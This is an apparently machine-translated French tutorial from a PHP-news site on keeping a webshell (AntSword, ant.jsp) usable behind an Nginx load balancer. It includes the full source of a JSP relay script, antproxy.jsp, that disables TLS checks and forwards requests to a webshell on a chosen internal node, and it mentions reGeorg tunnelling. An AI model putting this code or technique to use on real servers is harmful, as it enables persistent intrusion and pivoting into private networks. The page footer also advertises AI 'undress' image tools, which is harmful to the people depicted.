


Comment implémenter le téléchargement WebShell sous l'équilibrage de charge Nginx
May 16, 2023 am 08:16 AMDescription du scénario
Supposons que dans un environnement de production réel, il existe une vulnérabilité RCE, qui nous permet d'obtenir WebShell
Installation de l'environnement
Tout d'abord, avant d'extraire l'image vulnérable sur GetHub, nginx et tomcat doivent être installés sur centos à l'avance. Configurez les fichiers de configuration pertinents de nginx et de Tomcat, et utilisez Docker pour extraire l'image afin de reproduire la vulnérabilité.
1. Configurez d'abord l'environnement Docker
2. Testez si Tomcat est accessible
Comme vous pouvez le voir sur l'image ci-dessus, le back-end Tomcat est accessible
3. Réponse nginx dans Docker équilibrage de charge vers l'agent
4. Affichez le fichier ant.jsp dans lbsnode1 dans docker
Ce fichier peut être compris comme un cheval de Troie d'une phrase, et le même fichier existe également dans lbsnode2
. lbsnode1:
lbsnode2:
5. Connectez le fichier ant.jsp via China Ant Sword
Parce que les deux n?uds ont ant.jsp au même endroit, il n'y a aucune exception lors de la connexion
Problèmes dans le processus de reproduction
Problème 1 : étant donné que le proxy inverse utilisé par nginx est une méthode d'interrogation, le fichier téléchargé doit être téléchargé au même emplacement sur les deux serveurs backend
Parce que nous chargeons le proxy inverse l'équilibrage implique le téléchargement de fichiers. Un serveur principal a le fichier que nous avons téléchargé, mais l'autre serveur n'a pas le fichier que nous avons téléchargé. Le résultat est qu'une fois qu'il n'y a plus de fichier sur un serveur, alors dans la requête, c'est au tour du serveur. , une erreur 404 sera signalée, ce qui affectera son utilisation. C'est pourquoi cela semble normal pendant un certain temps et des erreurs apparaissent pendant un certain temps.
Solution?:
Nous devons télécharger un WebShell avec le même contenu au même emplacement sur chaque n?ud, afin que notre serveur backend soit accessible quel que soit le serveur interrogé. Pour télécharger des fichiers sur chaque serveur back-end, vous devez les télécharger comme un fou.
Question 2?: Lorsque nous exécutons la commande, nous n'avons aucun moyen de savoir à quelle machine la prochaine requête sera transmise pour exécution
Lorsque nous exécutons hostname -i pour afficher l'adresse IP de la machine d'exécution actuelle, nous peut voir que l'adresse IP a dérivé
Problème 3?: Lorsque nous devons télécharger des outils plus volumineux, les outils deviendront inutilisables
Lorsque nous téléchargeons un fichier plus volumineux, AntSword utilise le fractionnement lors du téléchargement de fichiers. La méthode de téléchargement slice divise un fichier en plusieurs requêtes HTTP et les envoie à la cible, ce qui fait qu'une partie du fichier se trouve sur le serveur A et l'autre partie du fichier sur le serveur B, rendant impossible l'ouverture d'outils ou de fichiers plus volumineux ou Utilisation
Question 4?: étant donné que l'h?te cible ne peut pas sortir d'Internet, si vous souhaitez aller plus loin, vous ne pouvez utiliser qu'un tunnel HTTP tel que reGeorg/HTTPAbs. Cependant, dans ce scénario, tous ces scripts de tunnel échouent.
Solution
Option 1?: Arrêtez l'un des serveurs back-end
L'arrêt de l'un des serveurs back-end peut en effet résoudre les quatre problèmes ci-dessus, mais cette solution consiste en réalité à "accrocher son anniversaire-- " "J'en ai marre de vivre" affectera l'entreprise et provoquera des désastres, donc je n'envisagerai pas de le passer directement
évaluation complète : ne l'essayez pas dans de telles circonstances ! ! !
Option 2?: Déterminer s'il faut exécuter le programme avant de l'exécuter
Puisqu'il est impossible de prédire quelle machine l'exécutera la prochaine fois, alors avant que notre shell n'exécute la charge utile, nous pouvons d'abord déterminer si elle doit être exécuté.
Créez un script demo.sh pour la première fois. Ce script sert à obtenir l'adresse de l'un de nos serveurs back-end. Le programme ne sera exécuté que s'il correspond à l'adresse de ce serveur. un autre serveur, le programme ne sera pas exécuté.
Téléchargez le fichier de script demo.sh sur les deux serveurs principaux via China Ant Sword. Parce qu'il s'agit d'un équilibrage de charge, vous devez cliquer comme un fou pour télécharger
.De cette fa?on, nous pouvons en effet garantir que la commande exécutée est sur la machine que nous voulons. Cependant, il n'y a aucune beauté à exécuter la commande de cette manière. De plus, des problèmes tels que le téléchargement de fichiers volumineux et. Les tunnels HTTP n'ont pas été résolus.
évaluation complète : Cette solution est à peine utilisable. Elle ne convient que pour une utilisation lors de l'exécution de commandes et n'est pas assez élégante.
Option 3?: Transférer le trafic HTTP dans la couche Web (point clé)
Oui, nous ne pouvons pas accéder directement au port 8080 de l'IP intranet LBSNode1 (172.23.0.2) à l'aide d'AntSword, mais quelqu'un peut y accéder. en plus de nginx pouvant y accéder, la machine LBSNode2 peut également accéder au port 8080 de la machine Node1.
Vous souvenez-vous encore du plug-in "PHP Bypass Disable Function" ? Après l'avoir chargé dans ce plug-in, nous avons démarré un serveur http localement, puis nous avons utilisé le script de transfert de trafic au niveau HTTP "antproxy.php" , que nous avons placé Regardez ce scénario?:
Regardons cette image étape par étape. Notre objectif est?: Tous les paquets de données peuvent être envoyés à la machine "LBSNode 1"
La première étape est l'étape 1. , nous demandons /antproxy.jsp, cette requête est envoyée à nginx
Après que nginx ait re?u le paquet de données, il y aura deux situations?:
Regardons d'abord la ligne noire. La deuxième étape transmet la requête à la machine cible et. demande la machine Node1. /antproxy.jsp, puis à l'étape 3, /antproxy.jsp réorganise la requête et la transmet à /ant.jsp sur la machine Node1, qui est exécutée avec succès.
Regardez à nouveau la ligne rouge. à l'étape 2, la requête est transmise à la machine Node2 Puis à l'étape 3, /antproxy.jsp sur la machine Node2 réorganise la requête et la transmet à /ant.jsp de Node1, qui. est exécuté avec succès.
1. Créez le script antproxy.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.DataInputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="java.security.KeyManagementException" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.security.cert.CertificateException" %> <%@ page import="java.security.cert.X509Certificate" %> <%! public static void ignoreSsl() throws Exception { HostnameVerifier hv = new HostnameVerifier() { public boolean verify(String urlHostName, SSLSession session) { return true; } }; trustAllHttpsCertificates(); HttpsURLConnection.setDefaultHostnameVerifier(hv); } private static void trustAllHttpsCertificates() throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } } }; try { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (KeyManagementException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } %> <% String target = "http://172.24.0.2:8080/ant.jsp"; URL url = new URL(target); if ("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection)url.openConnection(); StringBuilder sb = new StringBuilder(); conn.setRequestMethod(request.getMethod()); conn.setConnectTimeout(30000); conn.setDoOutput(true); conn.setDoInput(true); conn.setInstanceFollowRedirects(false); conn.connect(); ByteArrayOutputStream baos=new ByteArrayOutputStream(); OutputStream out2 = conn.getOutputStream(); DataInputStream in=new DataInputStream(request.getInputStream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeTo(out2); baos.close(); InputStream inputStream = conn.getInputStream(); OutputStream out3=response.getOutputStream(); int len2 = 0; while ((len2 = inputStream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %>
2. Modifiez l'adresse de transfert et redirigez-la vers l'adresse d'accès du script cible de l'IP intranet du n?ud cible.
Remarque?: Non seulement WebShell, mais également l'adresse d'accès de scripts tels que reGeorg peuvent être modifiés
Nous avons pointé la cible vers ant.jsp de LBSNode1
Remarque?:
a) Faire Si vous n'utilisez pas la Fonction de téléchargement, la fonction de téléchargement sera téléchargée en morceaux, ce qui la dispersera sur différents n?uds.
b) Pour m'assurer que chaque n?ud a le même chemin vers antproxy.jsp, je l'ai donc enregistré plusieurs fois pour m'assurer que chaque n?ud a téléchargé le script
3. Modifiez le shell. configuration, remplissez la partie URL comme adresse de antproxy.jsp et laissez les autres configurations inchangées
4 Testez la commande d'exécution, vérifiez l'IP
Vous pouvez voir que l'IP a. a été corrigé, ce qui signifie que la requête a été corrigée sur la machine LBSNode1. à l'heure actuelle, l'utilisation du téléchargement en plusieurs parties et du proxy HTTP n'est pas différente de la situation autonome. Avantages de cette solution?:
1 Elle peut être effectuée avec de faibles autorisations. Si les autorisations sont élevées, cela peut également l'être. effectué directement via le niveau du port, mais cela n'est pas différent des services associés du Plan A
2. En termes de trafic, cela n'affecte que les demandes d'accès à WebShell, et les autres demandes commerciales normales ne seront pas affectées. 3. Adapter plus d'outilsInconvénients?:
Cette solution nécessite une interopérabilité intranet entre le "N?ud cible" et "l'autre N?ud". S'ils ne sont pas interopérables, cela ne servira à rien.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undress AI Tool
Images de déshabillage gratuites

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Clothoff.io
Dissolvant de vêtements AI

Video Face Swap
échangez les visages dans n'importe quelle vidéo sans effort grace à notre outil d'échange de visage AI entièrement gratuit?!

Article chaud

Outils chauds

Bloc-notes++7.3.1
éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Nginx convient plus à la gestion des connexions simultanées élevées, tandis qu'Apache convient plus aux scénarios où des configurations complexes et des extensions de module sont nécessaires. 1.Nginx est connu pour ses performances élevées et sa faible consommation de ressources, et convient à une concurrence élevée. 2.Apache est connu pour sa stabilité et ses riches extensions de modules, qui conviennent aux besoins de configuration complexes.

Nginx et Apache ont chacun leurs propres avantages et inconvénients, et le choix doit être basé sur des besoins spécifiques. 1.Nginx convient aux scénarios de concurrence élevés en raison de son architecture asynchrone non bloquant. 2. Apache convient aux scénarios à faible monnaie qui nécessitent des configurations complexes, en raison de sa conception modulaire.

Le code PHP peut être exécuté de plusieurs manières: 1. Utilisez la ligne de commande pour entrer directement le "nom de fichier PHP" pour exécuter le script; 2. Mettez le fichier dans le répertoire racine du document et accédez-y via le navigateur via le serveur Web; 3. Exécutez-le dans l'IDE et utilisez l'outil de débogage intégré; 4. Utilisez le bac à sable PHP en ligne ou la plate-forme d'exécution de code pour les tests.

La compréhension du chemin du fichier de configuration de Nginx et des paramètres initiaux est très importante car il s'agit de la première étape dans l'optimisation et la gestion d'un serveur Web. 1) Le chemin du fichier de configuration est généralement /etc/nginx/nginx.conf. La syntaxe peut être trouvée et testée à l'aide de la commande nginx-t. 2) Les paramètres initiaux incluent les paramètres globaux (tels que l'utilisateur, worker_processs) et les paramètres HTTP (tels que l'inclusion, log_format). Ces paramètres permettent la personnalisation et l'extension en fonction des exigences. Une configuration incorrecte peut entra?ner des problèmes de performances et des vulnérabilités de sécurité.

Linux System restreint les ressources utilisateur via la commande UliMIT pour éviter une utilisation excessive des ressources. 1.Ulimit est une commande shell intégrée qui peut limiter le nombre de descripteurs de fichiers (-n), la taille de la mémoire (-v), le nombre de threads (-u), etc., qui sont divisés en limite douce (valeur effective actuelle) et limite dure (limite supérieure maximale). 2. Utilisez directement la commande ulimit pour une modification temporaire, telle que Ulimit-N2048, mais elle n'est valable que pour la session en cours. 3. Pour un effet permanent, vous devez modifier /etc/security/limits.conf et les fichiers de configuration PAM, et ajouter SessionRequiredPam_limits.so. 4. Le service SystemD doit définir Lim dans le fichier unitaire

Lors de la configuration de Nginx sur Debian System, les éléments suivants sont quelques conseils pratiques: la structure de base des paramètres globaux du fichier de configuration: définir les paramètres comportementaux qui affectent l'intégralité du service NGINX, tel que le nombre de threads de travail et les autorisations d'utilisateurs en cours d'exécution. Pièce de gestion des événements: Décider comment Nginx s'occupe des connexions réseau est une configuration clé pour améliorer les performances. Pièce de service HTTP: contient un grand nombre de paramètres liés au service HTTP et peut intégrer plusieurs serveurs et blocs de localisation. Options de configuration de base Worker_Connections: Définissez le nombre maximal de connexions que chaque thread de travailleur peut gérer, généralement définie sur 1024. Multi_accept: activez le mode de réception multi-connexion et améliorez la capacité de traitement simultané. s

Nginxservceswebcontentandactsasareverseproxy, loadBalancer et m /r.1) itefficientlyServisetaticContent likehtmlandimages.2) itfunctionsasareverseproxyandloadBalancer, distribution.

Le diagnostic et les solutions pour les erreurs courantes de Nginx incluent: 1. Afficher les fichiers journaux, 2. Ajuster les fichiers de configuration, 3. Optimiser les performances. En analysant les journaux, en ajustant les paramètres de délai d'expiration et en optimisant le cache et l'équilibrage de la charge, des erreurs telles que 404, 502, 504 peuvent être efficacement résolues pour améliorer la stabilité et les performances du site Web.
